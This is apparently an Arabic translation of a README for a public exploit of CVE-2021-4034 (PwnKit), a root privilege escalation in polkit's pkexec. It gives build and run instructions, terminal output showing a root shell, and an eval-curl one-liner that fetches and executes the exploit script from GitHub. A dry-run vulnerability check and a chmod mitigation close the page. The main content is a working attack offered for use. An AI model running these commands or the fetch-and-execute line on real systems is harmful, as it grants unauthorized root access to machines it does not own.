
CVE-2021-4034 1day
يوم واحد لاستغلال رفع الامتيازات في polkit
فقط قم بتنفيذ make، ثم ./cve-2021-4034 واستمتع بصلاحيات الجذر.
الإعلان الأصلي من قبل المؤلفين الحقيقيين موجود هنا
إذا كان الاستغلال يعمل، ستحصل على صلاحيات الجذر فورًا:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
تحديث polkit على معظم الأنظمة سيصلح الاستغلال، لذلك ستحصل على معلومات الاستخدام وسيخرج البرنامج:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
لعدم تنفيذ شل ولكن فقط اختبار ما إذا كان النظام ضعيفًا، قم ببناء الهدف dry-run.
إذا خرج البرنامج مطبوعًا 'root'، فهذا يعني أن نظامك ضعيف تجاه الاستغلال.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
إذا كان نظامك غير ضعيف، فإنه يطبع خطأ ويخرج.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (المعروف سابقًا باسم PolicyKit) هو مكون للتحكم في الامتيازات على مستوى النظام في أنظمة التشغيل المشابهة ليونكس. يوفر طريقة منظمة للعمليات غير المميزة للتواصل مع العمليات المميزة. من الممكن أيضًا استخدام polkit لتنفيذ أوامر بامتيازات مرتفعة باستخدام الأمر pkexec متبوعًا بالأمر المطلوب تنفيذه (بصلاحيات الجذر).
يمكنك بسهولة استغلال النظام باستخدام سكربت واحد، يمكن تنزيله وتنفيذه بهذا الأمر:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
إذا لم تكن هناك تصحيحات متاحة لنظام التشغيل الخاص بك، يمكنك إزالة بت SUID من pkexec كإجراء تخفيف مؤقت.
# chmod 0755 /usr/bin/pkexec
عندها سيفشل الاستغلال مع شكوى من أن pkexec يجب أن يكون لديه بت setuid مفعل.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root